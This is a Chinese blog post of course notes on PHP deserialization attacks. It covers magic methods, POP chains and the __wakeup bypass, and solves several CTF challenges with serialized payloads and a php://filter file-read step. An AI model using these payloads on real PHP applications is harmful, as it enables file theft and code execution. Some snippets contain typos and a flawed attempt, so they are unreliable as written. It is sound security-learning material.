PHP 反序列化系统学习 (跟蚁景网安)

PHP 反序列化系统学习 (跟蚁景网安)

1.序列化/反序列化技术

序列化: 将对象转换为字节流,目的是方便 对象在内存,文件,数据库或者网络之间的传递

反序列化 : 序列化的逆过程,即将字节流 转为 对象的 过程

image-20250803094602321

反序列化漏洞

原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程被恶意控制,进而造成代码执行,getshell等一系列不可控的后果

反序列化漏洞也存在于java、python等语言,

但其基本原理相同。

3.PHP 反序列化

php反序列化也叫做对象注入,就是将程序在进行反序列化时,会自动调用一些函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞

可以理解为程序在执行 unserialize() 函数时,自动执行了某些魔术方法(magic method),而魔术方法的参数被用户控制,这就会产生安全问题

漏洞利用条件:

1.unserialize() 函数的参数可控

2.存在可利用的魔术方法

二. 面向过程 与 面向对象

c++ python java 都是基于面向对象的语言

什么是面向过程?

面向过程: 就是分析出解决问题所需要的步骤,然后用函数把这些步骤一步一步实现,使用的时候 一个一个依次调用

image-20250803144828399

2. 什么是面向对象

image-20250803145019976

对象是 现实事物的一种 抽象映射

image-20250803145623868

3.相关概念

封装: 人类的共性 ,两个眼睛 ,一个鼻子,名字,年龄,吃饭

​ 父类 (人类) --------------> 子类a(女)(可以继承父类的属性和方法) --------- 实例化 (对象) 小红

​ 子类b (男) ------- 小明

​ 类相当于一个模版,对象就是由这个模版实例化出来的某个东西

属性: 变量

方法: 函数

image-20250803145918989

4.类的定义

image-20250804112003828

类名的首字母需要大写

举例:

image-20250804113918059

__construct () 魔术方法 自动触发 (开头有两个下划线)

5. 创建对象

对象:对象是类的实例。由于对象是根据类创建出来的,所以对象具备类中的属性和行为。

image-20250804114636468

new 就是实例化的标志,新建

image-20250804114936540

每个对象都是独立,唯一的

6.PHP序列化 : 对象转为字符序列

$ryan    =    new   Girl('小美','18');

//序列化

$str = serialize($ryan);

echo  $str

序列化结果:

image-20250804120623498

O 表示 类(object)4代表长度为4 Girl是类名 , 2 代表2个属性 { s:4:'name' ;s:4:'ryan' ; s:3:'age';s:2:'20';}

代表内容 需要 用引号 包括

格式是 : 类型:长度:内容 比如 O:4:Girl

image-20250804120817237

7.反序列化

$str= "O:4:'Girl':2:{'s:4:"name";s:4:"ryan";s:3:"age";i:20;}"
$obj= unserialiaze($str)
$obj -> hello()   //    $obj ->   hello()   就是调用 Gril类 定义的 hello()方法

XSS

image-20250804192447197

三.访问控制符

image-20250804192653952

public 公共字段 按照声明时的字段名 序列化后的字段名 不包含 声明时的变量前缀符号$

protected 保护字段,在 所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上 \0*\0 的前缀,这里的\0 表示ascii 码为 0 的字符,属于不可见字符,因此该字段的长度会比可见字符(age)长度 大3

private 私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上 \0<declared class name >\0 前缀。这里的 <declared class name> 表示的声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的 祖先类 。

image-20250804194521821

protected 不可见字符在反序列化的时候需要 用\00 (表示空字符 / 不可见)补上 ; 把小写字母s 改成 大写字母 S

image-20250805165337279

四.魔术方法

开头有两个下划线

image-20250805165911531

__construct() 对象创建
__destruct() 对象销毁
__toString() 把对象当做字符串
__wakeup() 使用unserialize
__sleep() 使用serialize时触发

image-20250805171936807

这行 PHP 代码 $r2->abc = "zs"; 的含义是:

语法拆解与作用

  • $r2:代表一个对象(从代码里 $r2 = clone $ryan; 能看出,它是通过克隆 $ryan 得到的对象实例 )。
  • ->:是 PHP 中用于访问对象的属性或方法的操作符(类似其他语言里的 “点语法”,但 PHP 里对象用 -> 、数组用 [] 区分)。
  • abc:这里表示对象 $r2 的一个属性(如果之前没定义过,PHP 会动态为对象新增这个属性 )。
  • = "zs":把字符串 "zs" 的值赋值$r2 对象的 abc 属性。

程序执行结束,将对象销毁

(先创建的,最后销毁)

五. 属性赋值

image-20250806124949946

![image-20250806125027545](C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20250806125027545.png

1.把题目代码赋值到本地

2.注释掉与属性无关的内容

image-20250806125058652

3.对属性赋值

image-20250806125139345

4.输出url编码后的序列化数据 //1.原始的序列化数据可能存在不可见字符 2.如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断产生结果异常,所以需要进行URL编码

echo(urlencode(serialize(new DEMO()) ))

<?php
class DEMO{
      public $func='evil';
      public  $arg='phpinfo();';    //  'system('ls /');'
      

}
$a = new  DEMO();
$str= urlencode(serialize($a));
echo $str
?>

如何对属性赋值

1.直接在属性中赋值;优点是方便,缺点是只能赋值字符串

 public $func='evil';
 public  $arg='phpinfo();';    //  'system('ls /');'

2.外部赋值 : 优点是可以赋值任意类型的值,缺点是只能操作public 属性 //new 一个对象,然后赋值

image-20250806140202913

对于 php7.1+ 的版本,反序列化对属性类型并不敏感,尽管题目的类下的属性可能不是public ,但是我们可以本地改成public,然后生成public的序列化字符串。由于7.1+版本的容错机制,尽管属性类型错误,php也认识,也可以反序列化成功。基于此,可以绕过注入\0

字符的过滤。

3.构造方法赋值(万能方法): 利用魔术方法 __construct()

image-20250806140515741

__construct() 魔术方法,当创建新对象实例时自动调用, 在construct方法中对对象进行赋值

示例

image-20250806142250249

image-20250806142513332

使用反序列化 调用 wake up

代码执行结束,对象自然销毁

真实后端代码

image-20250806142758385

如果真的有wake up

image-20250806142936185

把 属性个数 的1 改成 2

个数不对,畸形序列化字符串,数据是不合法的,有问题的,php接收到就想要尽快结束程序,不去执行wakeup

提前结束,直接 __destruct() 销毁对象

六.POP链

1.概念

POP链 : POP(面向属性编程)链是指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链。

反序列化利用就是要找到合适的POP链,其实就是构造一条符合原代码需求的链条,去找到可以控制的属性或方法,从而构造POP链来达到攻击的目的

寻找POP链的思路

1.寻找unserialize()函数的参数是否可控
2.寻找反序列化想要执行的目标函数,重点寻找魔术方法(比如 __wake() 和 __destruct() )
3.一层一层的研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法
4.根据我们要控制的属性,构造序列化数据,发起攻击

image-20250807154342273

<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(1);

class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
class Show
{
    public $source;
    public $var;
    public $class1;
    public function __construct($name='index.php')
    {
        $this->source = $name;
        echo $this->source.' Welcome'."<br>";    
}
 
    public function __toString()
    {   
        $content = $this->class1->get_file($this->var);
        echo $content;
        return $content;
    }
 
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }
 
    }
 
    public function Change()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
        }
    }
    public function __get($key){
        $function=$this->$key;
        $this->{$key}();
    }
}

if(isset($_GET['sid']))
{
    $sid=$_GET['sid'];
    $config=unserialize($_GET['config']);
    $config->$sid;
}
else
{
    $show = new Show('index2.php');
    $show->_show();
}
1.寻找unserialize()函数的参数是否可控

1.sid , config 可控

3.目的: 一层一层的研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法
  1. 目的 :读取 flag文件内容 ,使用读取文件或者 系统命令的 方法/函数

这里就是 Read -> get_file 方法

class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
class Show
public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }
 
    }

​ Show -> _show 方法可以 通过 highlight_file() 显示文件内容,但是过滤了 flag 可能用不了

​ 现在来看 , 应该是用 Read -> get_file 方法

​ 然后我们就找到 get_file 方法 都在哪里出现过

class Show
public function __toString()
    {   
        $content = $this->class1->get_file($this->var);
        echo $content;
        return $content;
    }
 
 需要触发      Show    ->   _toString()    //手动触发

让    `$this  -> classl ` = new   Read

我们可以控制的属性,  然后让  `$this->var`  =  `flag.php`  文件 
$config->$sid    

$config  =  new Show

$sid  = __toString   // 可以不要括号  ,也表示方法而不是字符串
class Show
if(isset($_GET['sid']))
{
    $sid=$_GET['sid'];
    $config=unserialize($_GET['config']);
    $config->$sid;
}
1.手动触发

反序列化代码

<?php
class Read
{
    
}
class Show
{
    public $source;
    public $var="flag.php";
    public $class1;
}
$s  = new Show();   //括号可要可不要
$s -> class1 = new Read();
echo  urlencode(serialize($s));
?>

直接赋值只能赋值字符串

O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7D

将序列化后字符串赋值给 config

然后 sid = __toString

2.自动触发 __toString 方法

需要把对象当做字符串,找到处理字符串的地方

这里的就是 正则匹配 (就是去操作字符串)

class Show
public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }
 
    }

可以把 source 变成 Show 对象,因为我们要出发 Show的 __toString 方法

$this -> source = new Show;

触发__toString config =new Show

​ sid= _show /Change

image-20250808134146881

<?php
class Read
{
    
}
class Show
{
    public $source;
    public $var="flag.php";
    public $class1;
}
$s= new Show();
$s -> class1 = new Read();
$s2 =new Show();
$s2 ->souce =$s;   //大的包含小的,这里是把$s 赋值给  $s2的source属性,s2属于大的,因为$s 已经有class1
echo urlencode(serialize($s2));    
     

image-20250808140229187

​ 两个Show类的实例化对象,因为我们需要 把对象当作字符串, 把对象当作字符串,所以这里创建了两个对象,$s 是用给

class Show
public function __toString()
    {   
        $content = $this->class1->get_file($this->var);
        echo $content;
        return $content;
    }
 

给此函数属性赋值来满足,读取flag内容,而$s2 是满足 把对象当作字符串, 把对象当作字符串 ,所以这里的

$s2 ->souce =$s; 把$s赋值给 $s2 的 source属性,$s2是更大的,$s已经有class1属性赋值了,所以最后序列化的也是 $s2

七.畸形序列化字符串

1.认识畸形序列化字符串

畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的

1 .绕过 __wakeup()

2.快速析构:绕过过滤函数,提前执行__destruct

2.绕过 __wakeup

由于使用 unserialize()函数 后会立即触发__wakeup ,为了绕过 __wakeup 中的安全机制,可以用修改属性数量的方法 绕过 __wakeup方法。受版本影响

php5.0.0 ~php5.6.25
php7.0.0~php7.0.10

1.绕过方法

1.反序列化时,修改对象的属性数量,将原数量+n,那么__wakeup 方法将不再调用。比如:

image-20250810142648485

一个汉字占3个字节,

第二个就是 本来2个属性,加一个属性,

s:1:'n':N 意思是 属性类型是字符串:属性名字长度为1:属性名字是n:属性内容是N(NULL为空的意思)

3.快速析构

快速析构的原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于是一个畸形序列化字符串,不标准,就触发了他的析构方法(__destruct)

应用场景:__destruct 在对象被销毁时才触发,__destruct之前会执行过滤函数,为了绕过过滤函数,需要提前触发__destruct方法:

畸形字符串构造

1.改变属性个数

2.删掉结尾的 } //也是畸形的

八.指针问题

1.指针 (内存地址) 是数据存放内存的地址

用 & 符号可以进行指针引用,类似于C语言中的指针。例如

$a=&$b;

这样$a 的值会随 $b的值的变化,确保两者永远相等。

不加指针

<?php

$b =1;

$a=$b;

echo $a."\n";      //1

$b=2;

echo $a ."\n";  //1

$a =3;
echo $a. "\n"; //3
echo $b."\n"    //2

?>


加指针

<?php

$a =1;
$a=&$b;   
echo $b   //什么也不输出,空
echo $a."\n";      //1

$a=2;    //指针生效,$a和$b永远相等,

echo $a ."\n";  //2

$a =3;
echo $a. "\n"; //3
echo $b."\n"    //3

?>

指针确保两者永远相等

$a=&$b; //现在内存空间还没有$b, $b 的内存空间是在执行 $a = &$b; 这一行时才第一次开辟的,并且初始值是 NULL。前面 $a = 1; 和 $b 没有关系。

​ 如果 $b 已经有 zval(内存单元),就直接让 $a 指向同一个 zval。

// 如果 $b 不存在(你的例子就是这种情况),PHP 会马上给 $b 创建一个新的 zval,内容是 NULL,并且分配一个内存地址。

建立引用关系

$a 会被设为引用 $b,即 $a 的符号表条目指向 $b 的 zval 地址。

从这行之后,$a 和 $b 完全共享同一个 zval,无论谁改值,另一方都会同步变化。

2.例题

<?php
class Seri{
    public $alize;
    public function __construct($alize) {
        $this->alize = $alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
} 
class Alize{
    public $f;
    public $t1;
    public $t2;

    function __construct($file){
        echo "Another construction!!";
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)     //=== 判断是否全等(数据类型也要相等),==判断是否相等  
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        } else {
            echo "no";
        }
    }
}
$p = $_GET['p'];
if (isset($p)) {
    $p = unserialize($p);
} else {
    show_source(__FILE__);
    // echo "NONONO";
}
?>

POP链

$p = $_GET['p'];

Seri -> __destruct -> $this->alize =new Alize

Alize ->getFlag $f =flag.php $t1=$t2 (这里是随机数,可以使用指针,或者碰撞)

<?php
class Seri{
    public $alize;
    public function __destruct(){
        $this->alize->getFlag();
    }
}
class Alize
{
    public $f;
    public $t1;
    public $t2;
}
$s = new Seri();
$s1 = new Alize();
$s ->alize = $s1;
$s1 ->t1 = &$s1 ->t2;  //加指针,让其值始终相等
$s1 ->f ='flag.php';
echo urlencode(serialize($s));   //s更大 ,s包括a

?>

__construct 不会执行

在 PHP 反序列化时,不会调用 __construct(),只会按序列化数据直接还原属性值。

只有你在代码里new Alize(...)new Seri(...) 这种方式显式实例化对象时,__construct() 才会执行。

在你的 payload 里,AlizeSeri 对象都是通过 unserialize() 直接生成的,所以两个类的构造函数(包括 Another construction!! 那个输出)都不会触发

直接通过 unserialize() 还原对象,不会去执行 __construct()

PHP 的规则是:

  • new 类名() → 会执行构造函数 __construct()
  • unserialize() → 不会执行构造函数,只会还原属性值,执行析构函数 __destruct() 在对象销毁时才触发。

最后输出 t1 t2 和flag.php内容

1.蚁景网安反序列化题目

<?php

class DemoX{
    protected $user;
    protected $sex;
    function __construct(){
        $this->user = "guest";
        $this->sex = "male";
    }

    function __wakeup(){
        $this->user = "Guest";
        $this->sex = "female";
    }

    function __toString(){
        return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";
    }

    function __destruct()
    {
        echo $this;
    }
}

class Demo2{
    private $fffl4g;

    function __construct($file){
        $this->fffl4g = $file;
    }

    function __toString(){
        return file_get_contents($this->fffl4g);
    }
}

if(!isset($_GET['poc'])){
    highlight_file("index.php");
}
else{
    $user = unserialize($_GET['poc']);
}

通过代码审计,我们的目的是 读取flag.php,

和文件读取有关的方法

class Demo2{
 function __toString(){
        return file_get_contents($this->fffl4g);
    }
}

我们可以去 创建一个新对象,将$this->fffl4g 也就是新对象的 fffl4g 属性 等于我们想要读取内容的文件名,也就是flag.php

然后我们需要考虑魔术方法 __toString()的调用,当对象被当做字符串来处理时,自动触发 __toString ()

那什么时候,对象被当做字符串处理


    function __destruct()
    {
        echo $this;
    }

这里的$this 就是指对象,__destruct 也是魔术方法,在对象实例化销毁时自动触发

//要让它去调用 Demo2::__toString()$this(也就是 DemoX 对象本身)必须能被当作字符串返回 Demo2 对象

这里的$this 对象被当做字符串,会自动触发 class DemoX类的 __toString 方法

function __toString(){
        return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";
    }

这里进行字符串拼接,如果我们可以把 $this ->user 变成 Demo2类的一个对象,就可以自动触发

function __toString(){
        return file_get_contents($this->fffl4g);
    }
}

然后给 $this ->fffl4g 赋值 flag.php 就可以了

大概意思是这样的

<?php
class DemoX
{
    protected $user;
    protected $sex;
}
class Demo2
{
    private $fffl4g;
}
$s = new Demo2();
$s -> $fffl4g = 'flag.php';
$s2 = new DemoX();
$s2 ->$user = $s;
echo  urlencode(serialize($s2));
?>

但是 因为 fffl4g 是私有属性,所以会赋值失败

需要改一下格式

1. 访问控制导致赋值失败

​ $s -> $fffl4g = 'flag.php';

$fffl4g 在 Demo2 里是 private 属性,而你现在是在类外部直接赋值。
PHP 这种情况下会新建一个同名的 public 属性,而不会去改真正的 private 属性。

反序列化的时候也是一样,如果属性名不对,类内部的 __toString() 拿到的就是 null,file_get_contents(null) 会失败。
2. ##### 反序列化属性名格式必须特殊处理

在 PHP 序列化里:

protected 属性:"\0*\0属性名"

private 属性:"\0类名\0属性名"

比如:

protected $user → "\0*\0user"
private $fffl4g → "\0Demo2\0fffl4g"

  • 我们用 $d2_serial 并不是在真的赋值,而是在构造属性表,最后用它拼接出一条反序列化 payload。
  • 这条 payload 在 unserialize() 时才会还原出真正的 private 属性值。

✅ 总结:
你不能在 new 出来的 $d2 对象上直接改 private 属性值(即使写出正确的属性名),因为外部代码没有权限。


须通过构造序列化字符串来实现,所以 $d2_serial 是中间结构,不是“新属性”,而是最终 payload 的一部分。

<?php
class DemoX {
    protected $user;
    protected $sex;
}

class Demo2 {
    private $fffl4g;
}

// 创建 Demo2 并手动设置正确的 private 属性名
$d2 = new Demo2();
$d2_serial = [
    "\0Demo2\0fffl4g" => "flag.php"
];

// 创建 DemoX,并手动设置 protected 属性名
$d1 = new DemoX();
$d1_serial = [
    "\0*\0user" => (object)array_merge(
        ['__PHP_Incomplete_Class_Name' => 'Demo2'],
        $d2_serial
    ),
    "\0*\0sex" => "male"
];

// 生成最终 payload


echo urlencode((serialize($d1)));
?>

课程老师讲解

<?php

class DemoX{
    protected $user;
    protected $sex;
    function __construct(){   //对象创建触发
        $this->user = "guest";
        $this->sex = "male";
    }

    function __wakeup(){      //对象反序列化时触发
        $this->user = "Guest";
        $this->sex = "female";
    }
   
    function __toString(){           //把对象当做字符串处理触发
        return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>"; //字符串拼接
    }

    function __destruct()
    {
        echo $this;    //$this 是当前类的对象
    }
}

class Demo2{
    private $fffl4g;

    function __construct($file){
        $this->fffl4g = $file;
    }

    function __toString(){
        return file_get_contents($this->fffl4g);
    }
}

if(!isset($_GET['poc'])){
    highlight_file("index.php");
}
else{
    $user = unserialize($_GET['poc']);
}

POP 起点:$_GET['POC']

DemoX->__destruct //对象销毁时触发

DemoX -> __toString

$this->user =new Demo2

终点: 获取flag Demo2 -> __toString()

​ $this->fffl4g->flag.php

需要触发 __toString 也就是对象被当成字符串处理,

    function __toString(){           //把对象当做字符串处理触发
        return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>"; //字符串拼接
    }

    function __destruct()
    {
        echo $this;    //$this 是当前类的对象   echo输出就是把对象当做字符串处理
    }
}

需要选第一个,为什么: $this 是当前类的对象,就是 DemoX类,触发DemoX的 __toString 自动触发

    function __construct(){   //对象创建触发
        $this->user = "guest";
        $this->sex = "male";
    }

    function __wakeup(){      //对象反序列化时触发
        $this->user = "Guest";
        $this->sex = "female";
    }

因为我们的 $this->user=new Demo2() 所以不能执行__wakeup (反序列化执行),使用畸形序列化字符串

<?php

use Couchbase\User;

class DemoX{
    protected $user;
    protected $sex;
    function __construct(){   //对象创建触发
        $this->user = new Demo2();
        $this->sex = "male";
    }
}

class Demo2{
    private $fffl4g='flag.php';
}
$d=new DemoX();
$str= serialize($d);
echo $str;

echo "\n";
echo urlencode($str);
?>

输出结果是

O:5:"DemoX":2:{s:7:" * user";O:5:"Demo2":1:{s:13:" Demo2 fffl4g";s:8:"flag.php";}s:6:" * sex";s:4:"male";}
O%3A5%3A%22DemoX%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A4%3A%22male%22%3B%7D

但是不能执行__wakeup,所以把属性格式改成3

也就是

O%3A5%3A%22DemoX%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A4%3A%22male%22%3B%7D

%3A 是冒号

2.NSS 星辰大海 POP2

源码

<?php
highlight_file(__FILE__);

class NSS1 {
    var $name;

    function __destruct() {
        echo $this->name;
    }
}

class NSS2 {
    var $name;

    function __toString()
    {
        echo $this->name->test;
    }
}

class NSS3 {
    var $name;
    var $res;

    function __get($name){
        $this->name->getflag();
    }

    function __call($name, $arguments){
        if ($this->res === 'nssctf') {
            echo getenv('FLAG');
        }
    }
}
unserialize($_GET['n']);

image-20250807154342273

还是按照我们这个思路

这里的反序列化函数的参数是 我们提交的,所以是可控的

然后我们的目标是读取flag 也就是寻找 是否有命令执行函数(eval) 或者 文件读取方法

class NSS3 {
    var $name;
    var $res;

    function __get($name){
        $this->name->getflag();
    }

    function __call($name, $arguments){
        if ($this->res === 'nssctf') {
            echo getenv('FLAG');
        }
    }

我们想要去执行 echo getenv('FLAG') ,就需要满足

$this -> res === 'nssctf' 这个我们新创建一个对象实例,然后对属性进行赋值即可

要执行这个,就需要去 调用__call 方法 ,因为 __call 方法 是 魔术方法,当 在对象上下文中调用不可访问的方法时 ,自动触发image-20250805165911531

也就是

$s = new NSS3();
$s ->res ='nssctf';
$s->__toString;
echo urlencode(serialize($S));

这里就出现了认知误区, __call 方法 只有当在对象上下文中调用不可访问的方法时触发,我想要访问的方法 __toString 虽然不是我们这里的 NSS3 类的 方法,但是是存在的方法,是不行的,需要把前面的NSS1 和 NSS 2类利用 起来

class NSS1 {
    var $name;

    function __destruct() {
        echo $this->name;
    }
}

这里 echo $this ->name ,如果我们可以 $this ->name=$s(NSS2的对象),就可以自动触发

class NSS2 {
    var $name;

    function __toString()
    {
        echo $this->name->test;
    }
}

toString 方法,当对象被当做字符串时触发,而这里又有

$this ->name=test , 如果这里的 $this -> name 是NSS3的对象,就可以自动调用 __get

class NSS3 {
    var $name;
    var $res;

    function __get($name){
        $this->name->getflag();
    }

    function __call($name, $arguments){
        if ($this->res === 'nssctf') {
            echo getenv('FLAG');
        }
    }

get方法 是从不可访问的属性读取数据时,自动调用,因为test不存在,$r=this ->name ->test, 就是去 访问test 属性,访问的时候 自然也需要 读取属性的数据

然后 $this->name->getflag(); 因为$this ->name 是没有 getflag方法的类的对象,(可以是NSS3的对象),也就是 该对象 调用不可访问的方法,会自动触发 __call 方法,然后就可输出flag

<?php

class NSS1 {
    var $name;

}

class NSS2 {
    var $name;

    function __toString()
    {
        echo $this->name->test;
    }
}

class NSS3
{
    var $name;
    var $res;

    function __get($name)
    {
        $this->name->getflag();
    }
}
$a =new NSS1();
$b =new NSS2();
$c=new NSS3();

$c->name=$c;
$a ->name=$b;
$b ->name=$c;
$c ->res ='nssctf';

echo urlencode(serialize($a));

?>

$c->name=$c; 因为这个的目的是触发 $this ->name 需要是一个对象,对象去访问方法,所以对象自己给自己的属性赋值

 function __get($name){
        $this->name->getflag();
    }

3.NSS 星辰大海 __wakeup

题目源码

<?php
highlight_file(__FILE__);

class NSS {
    var $name;

    function __wakeup() {
        $this->name = '1';
    }

    function __destruct() {
        if ($this->name === 'ctf') {
            echo getenv('FLAG');
        }
    }
}

unserialize($_GET['n']);

__wakeup 是反序列化时自动调用,可以畸形序列化字符串绕过,尝试一下

<?php

class NSS {
    var $name;

    function __destruct() {
        if ($this->name === 'ctf') {
            echo getenv('FLAG');
        }
    }
}
$s = new NSS();
$s ->name= 'ctf';
echo serialize($s);
?>

输出结果是

O:3:"NSS":1:{s:4:"name";s:3:"ctf";}

然后把 1 改成 2,就可以

小题拿下

4.[GDOUCTF 2023]反方向的钟

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000)   //__construct($name, $rank, $salary = 10000) 是一个类的构造方法,用于在创建类的实例(对象)时初始化对象的属性。其中 $salary = 10000 表示参数的默认值。
    {
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

flag在flag.php里

我们最后的目的是读取flag.php文件内容,可以利用的应该是 IPO方法,如何利用 那

 public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        } 

这里的 a 和 b 我们都可以控制,如果我们可以构造出类似于 system('cat /flag.php'); 的语句就可以解决这个问题

经过查阅可以找到

php的原生类SplFileObject来读取文件内容 ,也就是 让 a =SplFileObject ,b=flag.php ,

php原生类是什么

PHP原生类 是指 PHP内置的类,他们可以直接在PHP代码中使用 且无需 安装或导入任何库

SplFileObject 类

SplFileObject 类提供了一个高级的面向对象接口,用于对文件内容的遍历、查找和操作。例如:

<?php
$file = new SplFileObject("/path/to/file.txt");
foreach ($file as $line) {
echo $line . '<br>';
}
?>

上述代码将逐行读取文件内容并输出。

寻找POP链的思路

1.寻找unserialize()函数的参数是否可控
2.寻找反序列化想要执行的目标函数,重点寻找魔术方法(比如 __wake() 和 __destruct() )
3.一层一层的研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法
4.根据我们要控制的属性,构造序列化数据,发起攻击

POP链构造

$_POST'a'; a 和 b 都是我们可以直接传参控制的 ,这里我们让

a=SplFileObject&b=flag.php 试试 //结合为协议读取源代码

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

终点是 GET['d']

触发__wakeup() // 反序列化时自动触发

$this->department =new teacher() // 需要是一个对象 ,还有让 hahaha()方法正确执行,

$this->name= 'one class' $this->leader->name = 'ing' $this->leader->rank ='department'

$this->IPO();

目的是 执行 IPO() 方法,需要 让 $this->headmaster == 'ong'

POC

<?php
class teacher{
    public $name;
    public $rank;
    private $salary;

}

class classroom{
    public $name;
    public $leader;


}

class school
{
    public $department;
    public $headmaster;
}
$a =new school();
$b =new classroom();
$c =new teacher();
$a ->department =$b;
$b ->leader =$c;
$c ->name ='ing';
$c ->rank ='department';
$b ->name ='one class' ;
$a ->headmaster ='ong';
echo base64_encode(serialize($a));
?>

结果是

Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

posted @ 2025-08-18 14:07  ethan——1231  阅读(31)  评论(1)    收藏  举报